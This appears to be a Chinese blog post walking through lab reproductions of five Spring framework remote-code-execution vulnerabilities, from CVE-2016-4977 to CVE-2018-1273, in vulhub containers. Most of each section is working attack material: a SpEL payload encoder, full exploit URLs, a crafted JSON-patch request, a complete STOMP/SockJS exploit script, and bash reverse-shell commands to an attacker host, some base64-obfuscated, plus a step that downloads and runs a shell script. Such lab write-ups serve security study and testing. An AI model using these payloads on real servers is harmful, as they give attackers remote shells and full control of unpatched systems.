Spring框架漏洞复现

一、Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

1、漏洞描述

Spring Security OAuth2是为Spring框架提供安全认证支持的一个模块。当用户使用Whitelabel views来处理错误时,攻击者可以在被授权的情况下通过构造恶意SpEL表达式来远程执行命令。故是在需要知道账号密码的前提下才可以利用该漏洞。

2、影响版本

Spring Security OAuth 2.02.0.9
Spring Security OAuth 1.01.0.5

3、环境搭建

快速搭建,可以使用vulhub

git clone https://github.com/vulhub/vulhub.git
cd vulhub/spring/CVE-2016-4977/
docker-compose up -d

环境启动后,访问http://127.0.0.1:8080即可查看到Oauth的页面
在这里插入图片描述

4、漏洞复现

4.1、漏洞验证

访问下面的URL

http://192.168.10.171:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

弹出的认证页面user name 和password均为admin。

认证通过后,出现下面的返回页面,表示漏洞存在(response_type里面的命令执行了)
在这里插入图片描述

4.2、编写POC

这部分用于处理命令

#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
    poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)

使用方法:

python3 poc1.py   #输入要执行的命令,会返回处理后的命令,这里输入whoami

在这里插入图片描述

${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}

将上面的命令加入到response_type参数部分,得到payload

http://192.168.10.171:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105)))}&client_id=acme&scope=openid&redirect_uri=http://test

4.3、执行payload

返回了进程,表示代码执行了,但这没有回显,是无回显RCE
在这里插入图片描述

4.4、反弹shell

反弹shell命令

bash -i >& /dev/tcp/192.168.8.14/7766 0>&1

访问网址:https://www.jackson-t.ca/runtime-exec-payloads.html,将反弹shell命令经过exec()变形如下:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTQvNzc2NiAwPiYx}|{base64,-d}|{bash,-i}

再放入POC中,得到
在这里插入图片描述

${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}

将上面的命令加入到response_type参数部分,得到变形后的url

http://192.168.10.171:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(81)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test

PC上开启nc监听,然后访问上述变形后的url,成功得到shell
在这里插入图片描述

二、Spring Web Flow远程代码执行漏洞(CVE-2017-4971)

1、漏洞描述

Spring Web Flow是一个适用于开发基于流程的应用程序的框架,主要用于解决跨越多个请求的、用户与服务器之间的、有状态交互问题。

当用户使用Spring Web Flow受影响的版本时,如果配置了view-state,但是没有配置相应的binder,并且没有更改useSpringBeanBinding默认的false值,当攻击者构造特殊的http请求时,就可以导致SpEL表达式注入,从而造成远程代码执行漏洞。

2、影响版本

Spring Web Flow 2.4.0 ~ 2.4.4

3、触发条件

1. MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)

2. flow view对象中设置BinderConfiguration对象为空

4、漏洞复现

一路点到确认页面,点击confirm,并burpsuite抓包。
在这里插入图片描述
在这里插入图片描述
修改包数据

&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.8.14/7575 0>%261")).start()=vulhub

在这里插入图片描述
反弹shell成功
在这里插入图片描述

三、Spring Data Rest远程命令执行漏洞(CVE-2017-8046)

1、漏洞描述

Spring Data Rest服务器在处理PATCH请求时存在一个远程代码执行漏洞。攻击者通过构造好的JSON数据来执行任意Java代码。

2、影响版本

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3

3、漏洞指纹

访问,有如下回显信息则代表有该漏洞
在这里插入图片描述

4、漏洞利用

反弹shell命令

bash -i >& /dev/tcp/192.168.8.14/9999 0>&1
绕过exec()编码为:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

使用python将准备执行的代码编码为十进制

",".join(map(str,(map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"))))

在这里插入图片描述
访问http://192.168.10.171:8080/customers/1,并通过BP抓包
在这里插入图片描述

修改方法改为PATCH
将Content-Type指定为application/json-patch+json

最后构造数据包为:

PATCH /customers/1 HTTP/1.1
Host: 192.168.10.171:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "0"
If-Modified-Since: Mon, 20 Dec 2021 03:52:33 GMT
Connection: close
Content-Length: 469
Content-Type: application/json-patch+json

[
	{ "op": "replace", 
	  "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,103,117,77,84,81,118,79,84,107,53,79,83,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname",
	  "value": "vulhub" 
	}
]

开启NC监听
在这里插入图片描述
发送构造的请求包,查看反弹shell成功
在这里插入图片描述
在这里插入图片描述

四、Spring Messaging远程命令执行漏洞(CVE-2018-1270)

1、漏洞描述

Spring Messaging为Spring框架提供消息支持,用户使用受影响版本的Spring Framework时,允许应用程序通过Spring Messaging模块内存中STOMP代理创建WebSocket。由于selector用SpEL表达式编写,并使用StandardEvaluationContext解析(权限太大),进而导致远程执行代码攻击。

2、影响版本

Spring Framework 5.0 - 5.0.5
Spring Framework 4.3 - 4.3.15

3、漏洞利用

访问http://192.168.10.171:8080/gs-guide-websocket
在这里插入图片描述

反弹shell命令

bash -i >& /dev/tcp/192.168.8.14/9999 0>&1
绕过exec()编码为:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

修改exp
exploit.py

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json

logging.basicConfig(stream=sys.stdout, level=logging.INFO)

def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)

    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
    
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']

        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
        
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])

        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")

    def __del__(self):
        self.session.close()


sockjs = SockJS('http://192.168.10.171:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)

sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjguMTQvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})

data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

执行脚本,监听nc
在这里插入图片描述

五、Spring Data Commons远程命令执行漏洞(CVE-2018-1273)

1、漏洞描述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。

Spring Data Commons组件中存在远程代码执行漏洞,攻击者可构造包含有恶意代码的SPEL表达式实现远程代码攻击,直接获取服务器控制权限。

2、影响版本

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)

3、漏洞利用

反弹shell命令,写入文件shell.sh

bash -i >& /dev/tcp/192.168.8.14/9999 0>&1

该目录下起一个http服务
py -m http.server 8081
在这里插入图片描述
访问一下
在这里插入图片描述

访问http://192.168.10.171:8080/users,注册,BP抓包
在这里插入图片描述

靶机下载文件
在这里插入图片描述

执行反弹shell文件
在这里插入图片描述
在这里插入图片描述

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值